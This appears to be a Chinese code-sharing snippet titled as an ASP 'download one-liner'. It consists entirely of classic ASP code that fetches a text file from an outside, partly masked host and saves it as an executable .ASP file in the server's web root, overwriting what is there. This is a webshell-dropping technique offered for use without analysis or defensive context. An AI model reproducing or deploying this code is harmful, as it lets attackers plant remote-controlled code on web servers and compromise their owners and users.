asp xmlhttp下载一句话

 代码如下:                                              

<% 

Set xPost = createObject("Microsoft.XMLHTTP") 

xPost.Open "GET","http://www.fxxxx.com/1.txt",0 '下载文件的地址 

xPost.Send() 

Set sGet = createObject("ADODB.Stream") 

sGet.Mode = 3 

sGet.Type = 1 

sGet.Open() 

sGet.Write(xPost.responseBody) 

sGet.SaveToFile "E:\WWWROOT\fuck1.ASP",2 

%>